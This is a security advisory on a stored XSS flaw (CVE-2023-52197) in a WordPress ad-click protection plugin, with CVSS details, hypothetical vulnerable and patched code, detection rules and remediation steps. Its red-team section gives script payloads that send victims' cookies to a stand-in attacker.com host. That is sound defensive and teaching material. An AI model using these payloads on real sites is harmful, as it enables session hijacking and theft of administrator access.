CVE-2023-52197

Executive Summary

CVE-2023-52197 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Ads Invalid Click Protection by Impactpixel, affecting versions up to and including 1.0. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. With a CVSS score of 5.9 (Medium), this vulnerability can lead to session hijacking, data theft, and defacement. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a page containing the stored payload)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is medium due to the requirement for user interaction and the limited impact scope. However, in a WordPress ecosystem, stored XSS can be chained with other vulnerabilities for privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the Ads Invalid Click Protection plugin, which is designed to detect and block invalid ad clicks. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it on a page. An attacker can submit a crafted payload (e.g., via a form field or comment) that contains JavaScript code. When an administrator or other user views the page where the payload is displayed, the script executes in their browser context.

Root Cause: The plugin uses functions like echo or print without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows arbitrary HTML and JavaScript to be injected.

Attack Flow:

1. Attacker identifies a vulnerable input field (e.g., a settings page or a front-end form).
2. Attacker submits a payload such as <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. When an admin visits the plugin's settings page or a page that displays the stored data, the script executes.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in version 1.0. A patched version would properly escape output.

Vulnerable Code (hypothetical):

<?php
// Vulnerable: direct output without escaping
echo "<div class='click-data'>" . $user_input . "</div>";
?>

Patched Code (hypothetical):

<?php
// Patched: escape output
echo "<div class='click-data'>" . esc_html( $user_input ) . "</div>";
?>

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Ads Invalid Click Protection plugin version 1.0 installed.
• An input field that stores data and displays it later (e.g., a "Click Report" or "Settings" page).

Steps:

1. Identify a vulnerable input field. For example, the plugin might have a "Custom Message" field in its settings.
2. Submit the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to visit the page where the payload is stored (e.g., the plugin's admin page).
4. The victim's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Defender)

Detection:

• Monitor for unusual HTTP requests to external domains from the WordPress admin panel.
• Look for unexpected <script> tags in database entries related to the plugin.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Search the database for stored XSS payloads:

  SELECT * FROM wp_options WHERE option_value LIKE '%<script>%';
  

• Check plugin logs for suspicious input submissions.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• File: Modified plugin files (though unlikely, as the payload is stored in the database).
• Database: Entries in wp_options or custom plugin tables containing <script> tags.
• Logs: WordPress debug logs showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule CVE_2023_52197_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Ads Invalid Click Protection plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52197"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "ads-invalid-click-protection"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Ads Invalid Click Protection Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts targeting the Ads Invalid Click Protection plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "wp-content/plugins/ads-invalid-click-protection"
        cs-method: "POST"
        cs-uri-query|contains: "action=save_settings"
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52197 Stored XSS Payload Detected"; flow:to_server,established; content:"wp-content/plugins/ads-invalid-click-protection"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove any stored malicious data from the database (e.g., using phpMyAdmin or WP-CLI).
3. Rotate all admin session cookies and force password resets for users who may have been affected.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_attr(), or wp_kses().
• Alternatively, replace the plugin with a more secure alternative.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to the plugin's endpoints.
• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Valters IT
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